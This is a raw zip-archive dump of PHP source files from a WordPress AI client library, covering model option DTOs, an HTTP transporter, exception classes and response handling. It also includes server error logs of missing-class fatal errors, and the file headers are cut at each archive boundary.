$this->name, self::KEY_SUPPORTED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->supportedCapabilities), self::KEY_SUPPORTED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\SupportedOption $option): array => $option->toArray(), $this->supportedOptions)]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]); return new self($array[self::KEY_ID], $array[self::KEY_NAME], array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_SUPPORTED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\SupportedOption => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::fromArray($optionData), $array[self::KEY_SUPPORTED_OPTIONS])); } /** * Performs a deep clone of the model metadata. * * This method ensures that supported option objects are cloned to prevent * modifications to the cloned metadata from affecting the original. * * @since 0.4.2 */ public function __clone() { $clonedOptions = []; foreach ($this->supportedOptions as $option) { $clonedOptions[] = clone $option; } $this->supportedOptions = $clonedOptions; } } PK!:1K K +src/Providers/Models/DTO/RequiredOption.phpnu[ */ class RequiredOption extends AbstractDataTransferObject { public const KEY_NAME = 'name'; public const KEY_VALUE = 'value'; /** * @var OptionEnum The option name. */ protected OptionEnum $name; /** * @var mixed The value that the model must support for this option. */ protected $value; /** * Constructor. * * @since 0.1.0 * * @param OptionEnum $name The option name. * @param mixed $value The value that the model must support for this option. */ public function __construct(OptionEnum $name, $value) { $this->name = $name; $this->value = $value; } /** * Gets the option name. * * @since 0.1.0 * * @return OptionEnum The option name. */ public function getName(): OptionEnum { return $this->name; } /** * Gets the value that the model must support for this option. * * @since 0.1.0 * * @return mixed The value that the model must support. */ public function getValue() { return $this->value; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_VALUE => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']], 'description' => 'The value that the model must support for this option.']], 'required' => [self::KEY_NAME, self::KEY_VALUE]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return RequiredOptionArrayShape */ public function toArray(): array { return [self::KEY_NAME => $this->name->value, self::KEY_VALUE => $this->value]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_VALUE]); return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_VALUE]); } } PK!11"src/Providers/Models/DTO/error_lognu[[04-Sep-2026 13:23:47 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/ModelConfig.php:51 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/ModelConfig.php on line 51 [04-Sep-2026 13:23:48 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/ModelMetadata.php:28 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/ModelMetadata.php on line 28 [04-Sep-2026 13:23:48 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/ModelRequirements.php:29 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/ModelRequirements.php on line 29 [04-Sep-2026 13:23:48 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/RequiredOption.php:23 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/RequiredOption.php on line 23 [04-Sep-2026 13:23:49 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/SupportedOption.php:25 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/DTO/SupportedOption.php on line 25 PK!f`  ,src/Providers/Models/DTO/SupportedOption.phpnu[ * } * * @extends AbstractDataTransferObject */ class SupportedOption extends AbstractDataTransferObject { public const KEY_NAME = 'name'; public const KEY_SUPPORTED_VALUES = 'supportedValues'; /** * @var OptionEnum The option name. */ protected OptionEnum $name; /** * @var list|null The supported values for this option. */ protected ?array $supportedValues; /** * Constructor. * * @since 0.1.0 * * @param OptionEnum $name The option name. * @param list|null $supportedValues The supported values for this option, or null if any value is supported. * * @throws InvalidArgumentException If supportedValues is not null and not a list. */ public function __construct(OptionEnum $name, ?array $supportedValues = null) { if ($supportedValues !== null && !array_is_list($supportedValues)) { throw new InvalidArgumentException('Supported values must be a list array.'); } $this->name = $name; $this->supportedValues = $supportedValues; } /** * Gets the option name. * * @since 0.1.0 * * @return OptionEnum The option name. */ public function getName(): OptionEnum { return $this->name; } /** * Checks if a value is supported for this option. * * @since 0.1.0 * * @param mixed $value The value to check. * @return bool True if the value is supported, false otherwise. */ public function isSupportedValue($value): bool { // If supportedValues is null, any value is supported if ($this->supportedValues === null) { return \true; } // If the value is an array, consider it a set (i.e. order doesn't matter). if (is_array($value)) { $normalizedValue = self::normalizeArrayForComparison($value); foreach ($this->supportedValues as $supportedValue) { if (!is_array($supportedValue)) { continue; } $normalizedSupported = self::normalizeArrayForComparison($supportedValue); if ($normalizedValue === $normalizedSupported) { return \true; } } return \false; } $normalizedValue = self::normalizeValue($value); foreach ($this->supportedValues as $supportedValue) { if (self::normalizeValue($supportedValue) === $normalizedValue) { return \true; } } return \false; } /** * Normalizes an AbstractEnum instance to its string value. * * This ensures comparisons work correctly even after deserialization * (e.g. Redis/Memcached object cache), where AbstractEnum singletons * are reconstructed as separate instances. * * @since 1.2.1 * * @param mixed $value The value to normalize. * @return mixed The normalized value. */ private static function normalizeValue($value) { if ($value instanceof AbstractEnum) { return $value->value; } return $value; } /** * Normalizes and sorts an array for comparison. * * Maps each element through normalizeValue() and sorts the result, * ensuring consistent comparison regardless of element order or * AbstractEnum instance identity. * * @since 1.2.1 * * @param array $items The array to normalize. * @return array The normalized, sorted array. */ private static function normalizeArrayForComparison(array $items): array { $normalized = array_map([self::class, 'normalizeValue'], $items); sort($normalized); return $normalized; } /** * Gets the supported values for this option. * * @since 0.1.0 * * @return list|null The supported values, or null if any value is supported. */ public function getSupportedValues(): ?array { return $this->supportedValues; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_SUPPORTED_VALUES => ['type' => 'array', 'items' => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']]], 'description' => 'The supported values for this option.']], 'required' => [self::KEY_NAME]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return SupportedOptionArrayShape */ public function toArray(): array { $data = [self::KEY_NAME => $this->name->value]; if ($this->supportedValues !== null) { /** @var list $supportedValues */ $supportedValues = $this->supportedValues; $data[self::KEY_SUPPORTED_VALUES] = $supportedValues; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_NAME]); return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_SUPPORTED_VALUES] ?? null); } } PK!M)zYsrc/Providers/Models/ImageGeneration/Contracts/ImageGenerationOperationModelInterface.phpnu[ $prompt Array of messages containing the image generation prompt. * @return GenerativeAiOperation The initiated image generation operation. */ public function generateImageOperation(array $prompt): GenerativeAiOperation; } PK!԰WPsrc/Providers/Models/ImageGeneration/Contracts/ImageGenerationModelInterface.phpnu[ $prompt Array of messages containing the image generation prompt. * @return GenerativeAiResult Result containing generated images. */ public function generateImageResult(array $prompt): GenerativeAiResult; } PK!2  -src/Providers/Models/Enums/CapabilityEnum.phpnu[ The enum constants. */ protected static function determineClassEnumerations(string $className): array { // Start with the constants defined in this class using parent method $constants = parent::determineClassEnumerations($className); // Use reflection to get all constants from ModelConfig $modelConfigReflection = new ReflectionClass(ModelConfig::class); $modelConfigConstants = $modelConfigReflection->getConstants(); // Add ModelConfig constants that start with KEY_ foreach ($modelConfigConstants as $constantName => $constantValue) { if (str_starts_with($constantName, 'KEY_')) { // Remove KEY_ prefix to get the enum constant name $enumConstantName = substr($constantName, 4); // The value is the snake_case version stored in ModelConfig // ModelConfig already stores these as snake_case strings if (is_string($constantValue)) { $constants[$enumConstantName] = $constantValue; } } } return $constants; } } PK!;$src/Providers/Models/Enums/error_lognu[[04-Sep-2026 13:23:52 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/Enums/CapabilityEnum.php:29 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/Enums/CapabilityEnum.php on line 29 [04-Sep-2026 13:23:52 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/Enums/OptionEnum.php:65 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Models/Enums/OptionEnum.php on line 65 PK!Mmm?src/Providers/Http/Contracts/RequestAuthenticationInterface.phpnu[H``Csrc/Providers/Http/Contracts/WithRequestAuthenticationInterface.phpnu[client = $client ?: Psr18ClientDiscovery::find(); $this->requestFactory = $requestFactory ?: Psr17FactoryDiscovery::findRequestFactory(); $this->streamFactory = $streamFactory ?: Psr17FactoryDiscovery::findStreamFactory(); } /** * {@inheritDoc} * * @since 0.1.0 * @since 0.2.0 Added optional RequestOptions parameter and ClientWithOptions support. */ public function send(Request $request, ?RequestOptions $options = null): Response { $psr7Request = $this->convertToPsr7Request($request); // Merge request options with parameter options, with parameter options taking precedence $mergedOptions = $this->mergeOptions($request->getOptions(), $options); try { $hasOptions = $mergedOptions !== null; if ($hasOptions && $this->client instanceof ClientWithOptionsInterface) { $psr7Response = $this->client->sendRequestWithOptions($psr7Request, $mergedOptions); } elseif ($hasOptions && $this->isGuzzleClient($this->client)) { $psr7Response = $this->sendWithGuzzle($psr7Request, $mergedOptions); } else { $psr7Response = $this->client->sendRequest($psr7Request); } } catch (\WordPress\AiClientDependencies\Psr\Http\Client\NetworkExceptionInterface $e) { throw NetworkException::fromPsr18NetworkException($psr7Request, $e); } catch (\WordPress\AiClientDependencies\Psr\Http\Client\ClientExceptionInterface $e) { // Handle other PSR-18 client exceptions that are not network-related throw new RuntimeException(sprintf('HTTP client error occurred while sending request to %s: %s', $request->getUri(), $e->getMessage()), 0, $e); } return $this->convertFromPsr7Response($psr7Response); } /** * Merges request options with parameter options taking precedence. * * @since 0.2.0 * * @param RequestOptions|null $requestOptions Options from the Request object. * @param RequestOptions|null $parameterOptions Options passed as method parameter. * @return RequestOptions|null Merged options, or null if both are null. */ private function mergeOptions(?RequestOptions $requestOptions, ?RequestOptions $parameterOptions): ?RequestOptions { // If no options at all, return null if ($requestOptions === null && $parameterOptions === null) { return null; } // If only one set of options exists, return it if ($requestOptions === null) { return $parameterOptions; } if ($parameterOptions === null) { return $requestOptions; } // Both exist, merge them with parameter options taking precedence $merged = new RequestOptions(); // Start with request options (lower precedence) if ($requestOptions->getTimeout() !== null) { $merged->setTimeout($requestOptions->getTimeout()); } if ($requestOptions->getConnectTimeout() !== null) { $merged->setConnectTimeout($requestOptions->getConnectTimeout()); } if ($requestOptions->getMaxRedirects() !== null) { $merged->setMaxRedirects($requestOptions->getMaxRedirects()); } // Override with parameter options (higher precedence) if ($parameterOptions->getTimeout() !== null) { $merged->setTimeout($parameterOptions->getTimeout()); } if ($parameterOptions->getConnectTimeout() !== null) { $merged->setConnectTimeout($parameterOptions->getConnectTimeout()); } if ($parameterOptions->getMaxRedirects() !== null) { $merged->setMaxRedirects($parameterOptions->getMaxRedirects()); } return $merged; } /** * Determines if the underlying client matches the Guzzle client shape. * * @since 0.2.0 * * @param ClientInterface $client The HTTP client instance. * @return bool True when the client exposes Guzzle's send signature. */ private function isGuzzleClient(ClientInterface $client): bool { $reflection = new \ReflectionObject($client); if (!is_callable([$client, 'send'])) { return \false; } if (!$reflection->hasMethod('send')) { return \false; } $method = $reflection->getMethod('send'); if (!$method->isPublic() || $method->isStatic()) { return \false; } $parameters = $method->getParameters(); if (count($parameters) < 2) { return \false; } $firstParameter = $parameters[0]->getType(); if (!$firstParameter instanceof \ReflectionNamedType || $firstParameter->isBuiltin()) { return \false; } if (!is_a($firstParameter->getName(), RequestInterface::class, \true)) { return \false; } $secondParameter = $parameters[1]; $secondType = $secondParameter->getType(); if (!$secondType instanceof \ReflectionNamedType || $secondType->getName() !== 'array') { return \false; } return \true; } /** * Sends a request using a Guzzle-compatible client. * * @since 0.2.0 * * @param RequestInterface $request The PSR-7 request to send. * @param RequestOptions $options The request options. * @return ResponseInterface The PSR-7 response received. */ private function sendWithGuzzle(RequestInterface $request, RequestOptions $options): ResponseInterface { $guzzleOptions = $this->buildGuzzleOptions($options); /** @var callable $callable */ $callable = [$this->client, 'send']; /** @var ResponseInterface $response */ $response = $callable($request, $guzzleOptions); return $response; } /** * Converts request options to a Guzzle-compatible options array. * * @since 0.2.0 * * @param RequestOptions $options The request options. * @return array Guzzle-compatible options. */ private function buildGuzzleOptions(RequestOptions $options): array { $guzzleOptions = []; $timeout = $options->getTimeout(); if ($timeout !== null) { $guzzleOptions['timeout'] = $timeout; } $connectTimeout = $options->getConnectTimeout(); if ($connectTimeout !== null) { $guzzleOptions['connect_timeout'] = $connectTimeout; } $allowRedirects = $options->allowsRedirects(); if ($allowRedirects !== null) { if ($allowRedirects) { $redirectOptions = []; $maxRedirects = $options->getMaxRedirects(); if ($maxRedirects !== null) { $redirectOptions['max'] = $maxRedirects; } $guzzleOptions['allow_redirects'] = !empty($redirectOptions) ? $redirectOptions : \true; } else { $guzzleOptions['allow_redirects'] = \false; } } return $guzzleOptions; } /** * Converts a custom Request to a PSR-7 request. * * @since 0.1.0 * * @param Request $request The custom request. * @return RequestInterface The PSR-7 request. */ private function convertToPsr7Request(Request $request): RequestInterface { $psr7Request = $this->requestFactory->createRequest($request->getMethod()->value, $request->getUri()); // Add headers foreach ($request->getHeaders() as $name => $values) { foreach ($values as $value) { $psr7Request = $psr7Request->withAddedHeader($name, $value); } } // Add body if present $body = $request->getBody(); if ($body !== null) { $stream = $this->streamFactory->createStream($body); $psr7Request = $psr7Request->withBody($stream); } return $psr7Request; } /** * Converts a PSR-7 response to a custom Response. * * @since 0.1.0 * * @param ResponseInterface $psr7Response The PSR-7 response. * @return Response The custom response. */ private function convertFromPsr7Response(ResponseInterface $psr7Response): Response { $body = (string) $psr7Response->getBody(); // PSR-7 always returns headers as arrays, but HeadersCollection handles this return new Response( $psr7Response->getStatusCode(), $psr7Response->getHeaders(), // @phpstan-ignore-line $body === '' ? null : $body ); } } PK!zG  4src/Providers/Http/Collections/HeadersCollection.phpnu[> The headers with original casing. */ private array $headers = []; /** * @var array Map of lowercase header names to actual header names. */ private array $headersMap = []; /** * Constructor. * * @since 0.1.0 * * @param array> $headers Initial headers. */ public function __construct(array $headers = []) { foreach ($headers as $name => $value) { $this->set($name, $value); } } /** * Gets a specific header value. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return list|null The header value(s) or null if not found. */ public function get(string $name): ?array { $lowerName = strtolower($name); if (!isset($this->headersMap[$lowerName])) { return null; } $actualName = $this->headersMap[$lowerName]; return $this->headers[$actualName]; } /** * Gets all headers. * * @since 0.1.0 * * @return array> All headers with their original casing. */ public function getAll(): array { return $this->headers; } /** * Gets header values as a comma-separated string. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return string|null The header values as a comma-separated string or null if not found. */ public function getAsString(string $name): ?string { $values = $this->get($name); return $values !== null ? implode(', ', $values) : null; } /** * Checks if a header exists. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return bool True if the header exists, false otherwise. */ public function has(string $name): bool { return isset($this->headersMap[strtolower($name)]); } /** * Sets a header value, replacing any existing value. * * @since 0.1.0 * * @param string $name The header name. * @param string|list $value The header value(s). * @return void */ private function set(string $name, $value): void { if (is_array($value)) { $normalizedValues = array_values($value); } else { // Split comma-separated string into array $normalizedValues = array_map('trim', explode(',', $value)); } $lowerName = strtolower($name); // If header exists with different casing, remove the old casing if (isset($this->headersMap[$lowerName])) { $oldName = $this->headersMap[$lowerName]; if ($oldName !== $name) { unset($this->headers[$oldName]); } } // Always use the new casing $this->headers[$name] = $normalizedValues; $this->headersMap[$lowerName] = $name; } /** * Returns a new instance with the specified header. * * @since 0.1.0 * * @param string $name The header name. * @param string|list $value The header value(s). * @return self A new instance with the header. */ public function withHeader(string $name, $value): self { $new = clone $this; $new->set($name, $value); return $new; } } PK!|գ552src/Providers/Http/Exception/RedirectException.phpnu[getStatusCode(); $statusTexts = [300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect']; if (isset($statusTexts[$statusCode])) { $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode); } else { $errorMessage = sprintf('Redirect error (%d): Request needs to be retried at a different location', $statusCode); } // Try to extract the redirect location from headers $locationValues = $response->getHeader('Location'); if ($locationValues !== null && !empty($locationValues)) { $location = $locationValues[0]; $errorMessage .= ' - Location: ' . $location; } return new self($errorMessage, $statusCode); } } PK!7!!2src/Providers/Http/Exception/ResponseException.phpnu[getStatusCode(); $statusTexts = [500 => 'Internal Server Error', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 507 => 'Insufficient Storage', 529 => 'Overloaded']; if (isset($statusTexts[$statusCode])) { $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode); } else { $errorMessage = sprintf('Server error (%d): Request was rejected due to server-side issue', $statusCode); } // Extract error message from response data using centralized utility $extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData()); if ($extractedError !== null) { $errorMessage .= ' - ' . $extractedError; } return new self($errorMessage, $response->getStatusCode()); } } PK!JJ1src/Providers/Http/Exception/NetworkException.phpnu[request === null) { throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.'); } return $this->request; } /** * Creates a NetworkException from a PSR-18 network exception. * * @since 0.2.0 * * @param RequestInterface $psrRequest The PSR-7 request that failed. * @param \Throwable $networkException The PSR-18 network exception. * @return self */ public static function fromPsr18NetworkException(RequestInterface $psrRequest, \Throwable $networkException): self { $request = Request::fromPsrRequest($psrRequest); $message = sprintf('Network error occurred while sending request to %s: %s', $request->getUri(), $networkException->getMessage()); $exception = new self($message, 0, $networkException); $exception->request = $request; return $exception; } } PK!: 0src/Providers/Http/Exception/ClientException.phpnu[request === null) { throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.'); } return $this->request; } /** * Creates a ClientException from a client error response (4xx). * * This method extracts error details from common API response formats * and creates an exception with a descriptive message and status code. * * @since 0.2.0 * * @param Response $response The HTTP response that failed. * @return self */ public static function fromClientErrorResponse(Response $response): self { $statusCode = $response->getStatusCode(); $statusTexts = [400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 422 => 'Unprocessable Entity', 429 => 'Too Many Requests']; if (isset($statusTexts[$statusCode])) { $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode); } else { $errorMessage = sprintf('Client error (%d): Request was rejected due to client-side issue', $statusCode); } // Extract error message from response data using centralized utility $extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData()); if ($extractedError !== null) { $errorMessage .= ' - ' . $extractedError; } return new self($errorMessage, $statusCode); } } PK!ȏ[&src/Providers/Http/Exception/error_lognu[[04-Sep-2026 13:23:33 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\Exception\InvalidArgumentException" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/ClientException.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/ClientException.php on line 18 [04-Sep-2026 13:23:33 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\Exception\RuntimeException" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/NetworkException.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/NetworkException.php on line 17 [04-Sep-2026 13:23:33 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\Exception\RuntimeException" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/RedirectException.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/RedirectException.php on line 17 [04-Sep-2026 13:23:34 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\Exception\RuntimeException" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/ResponseException.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/ResponseException.php on line 16 [04-Sep-2026 13:23:34 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\Exception\RuntimeException" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/ServerException.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Exception/ServerException.php on line 17 PK!#src/Providers/Http/DTO/Response.phpnu[>, * body?: string|null * } * * @extends AbstractDataTransferObject */ class Response extends AbstractDataTransferObject { public const KEY_STATUS_CODE = 'statusCode'; public const KEY_HEADERS = 'headers'; public const KEY_BODY = 'body'; /** * @var int The HTTP status code. */ protected int $statusCode; /** * @var HeadersCollection The response headers. */ protected HeadersCollection $headers; /** * @var string|null The response body. */ protected ?string $body; /** * Constructor. * * @since 0.1.0 * * @param int $statusCode The HTTP status code. * @param array> $headers The response headers. * @param string|null $body The response body. * * @throws InvalidArgumentException If the status code is invalid. */ public function __construct(int $statusCode, array $headers, ?string $body = null) { if ($statusCode < 100 || $statusCode >= 600) { throw new InvalidArgumentException('Invalid HTTP status code: ' . $statusCode); } $this->statusCode = $statusCode; $this->headers = new HeadersCollection($headers); $this->body = $body; } /** * Creates a deep clone of this response. * * Clones the headers collection to ensure the cloned * response is independent of the original. * * @since 0.4.2 */ public function __clone() { // Clone headers collection $this->headers = clone $this->headers; } /** * Gets the HTTP status code. * * @since 0.1.0 * * @return int The status code. */ public function getStatusCode(): int { return $this->statusCode; } /** * Gets the response headers. * * @since 0.1.0 * * @return array> The headers. */ public function getHeaders(): array { return $this->headers->getAll(); } /** * Gets a specific header value. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return list|null The header value(s) or null if not found. */ public function getHeader(string $name): ?array { return $this->headers->get($name); } /** * Gets header values as a comma-separated string. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return string|null The header values as a comma-separated string or null if not found. */ public function getHeaderAsString(string $name): ?string { return $this->headers->getAsString($name); } /** * Gets the response body. * * @since 0.1.0 * * @return string|null The body. */ public function getBody(): ?string { return $this->body; } /** * Checks if the response has a header. * * @since 0.1.0 * * @param string $name The header name. * @return bool True if the header exists, false otherwise. */ public function hasHeader(string $name): bool { return $this->headers->has($name); } /** * Checks if the response indicates success. * * @since 0.1.0 * * @return bool True if status code is 2xx, false otherwise. */ public function isSuccessful(): bool { return $this->statusCode >= 200 && $this->statusCode < 300; } /** * Gets the response data as an array. * * Attempts to decode the body as JSON. Returns null if the body * is empty or not valid JSON. * * @since 0.1.0 * * @return array|null The decoded data or null. */ public function getData(): ?array { if ($this->body === null || $this->body === '') { return null; } $data = json_decode($this->body, \true); if (json_last_error() !== \JSON_ERROR_NONE) { return null; } /** @var array|null $data */ return is_array($data) ? $data : null; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_STATUS_CODE => ['type' => 'integer', 'minimum' => 100, 'maximum' => 599, 'description' => 'The HTTP status code.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The response headers.'], self::KEY_BODY => ['type' => ['string', 'null'], 'description' => 'The response body.']], 'required' => [self::KEY_STATUS_CODE, self::KEY_HEADERS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ResponseArrayShape */ public function toArray(): array { $data = [self::KEY_STATUS_CODE => $this->statusCode, self::KEY_HEADERS => $this->headers->getAll()]; if ($this->body !== null) { $data[self::KEY_BODY] = $this->body; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_STATUS_CODE, self::KEY_HEADERS]); return new self($array[self::KEY_STATUS_CODE], $array[self::KEY_HEADERS], $array[self::KEY_BODY] ?? null); } } PK!zSS)src/Providers/Http/DTO/RequestOptions.phpnu[ */ class RequestOptions extends AbstractDataTransferObject { public const KEY_TIMEOUT = 'timeout'; public const KEY_CONNECT_TIMEOUT = 'connectTimeout'; public const KEY_MAX_REDIRECTS = 'maxRedirects'; /** * @var float|null Maximum duration in seconds to wait for the full response. */ protected ?float $timeout = null; /** * @var float|null Maximum duration in seconds to wait for the initial connection. */ protected ?float $connectTimeout = null; /** * @var int|null Maximum number of redirects to follow. 0 disables redirects, null is unspecified. */ protected ?int $maxRedirects = null; /** * Sets the request timeout in seconds. * * @since 0.2.0 * * @param float|null $timeout Timeout in seconds. * @return void * * @throws InvalidArgumentException When timeout is negative. */ public function setTimeout(?float $timeout): void { $this->validateTimeout($timeout, self::KEY_TIMEOUT); $this->timeout = $timeout; } /** * Sets the connection timeout in seconds. * * @since 0.2.0 * * @param float|null $timeout Connection timeout in seconds. * @return void * * @throws InvalidArgumentException When timeout is negative. */ public function setConnectTimeout(?float $timeout): void { $this->validateTimeout($timeout, self::KEY_CONNECT_TIMEOUT); $this->connectTimeout = $timeout; } /** * Sets the maximum number of redirects to follow. * * Set to 0 to disable redirects, null for unspecified, or a positive integer * to enable redirects with a maximum count. * * @since 0.2.0 * * @param int|null $maxRedirects Maximum redirects to follow, or 0 to disable, or null for unspecified. * @return void * * @throws InvalidArgumentException When redirect count is negative. */ public function setMaxRedirects(?int $maxRedirects): void { if ($maxRedirects !== null && $maxRedirects < 0) { throw new InvalidArgumentException('Request option "maxRedirects" must be greater than or equal to 0.'); } $this->maxRedirects = $maxRedirects; } /** * Gets the request timeout in seconds. * * @since 0.2.0 * * @return float|null Timeout in seconds. */ public function getTimeout(): ?float { return $this->timeout; } /** * Gets the connection timeout in seconds. * * @since 0.2.0 * * @return float|null Connection timeout in seconds. */ public function getConnectTimeout(): ?float { return $this->connectTimeout; } /** * Checks whether redirects are allowed. * * @since 0.2.0 * * @return bool|null True when redirects are allowed (maxRedirects > 0), * false when disabled (maxRedirects = 0), * null when unspecified (maxRedirects = null). */ public function allowsRedirects(): ?bool { if ($this->maxRedirects === null) { return null; } return $this->maxRedirects > 0; } /** * Gets the maximum number of redirects to follow. * * @since 0.2.0 * * @return int|null Maximum redirects or null when not specified. */ public function getMaxRedirects(): ?int { return $this->maxRedirects; } /** * {@inheritDoc} * * @since 0.2.0 * * @return RequestOptionsArrayShape */ public function toArray(): array { $data = []; if ($this->timeout !== null) { $data[self::KEY_TIMEOUT] = $this->timeout; } if ($this->connectTimeout !== null) { $data[self::KEY_CONNECT_TIMEOUT] = $this->connectTimeout; } if ($this->maxRedirects !== null) { $data[self::KEY_MAX_REDIRECTS] = $this->maxRedirects; } return $data; } /** * {@inheritDoc} * * @since 0.2.0 */ public static function fromArray(array $array): self { $instance = new self(); if (isset($array[self::KEY_TIMEOUT])) { $instance->setTimeout((float) $array[self::KEY_TIMEOUT]); } if (isset($array[self::KEY_CONNECT_TIMEOUT])) { $instance->setConnectTimeout((float) $array[self::KEY_CONNECT_TIMEOUT]); } if (isset($array[self::KEY_MAX_REDIRECTS])) { $instance->setMaxRedirects((int) $array[self::KEY_MAX_REDIRECTS]); } return $instance; } /** * {@inheritDoc} * * @since 0.2.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the full response.'], 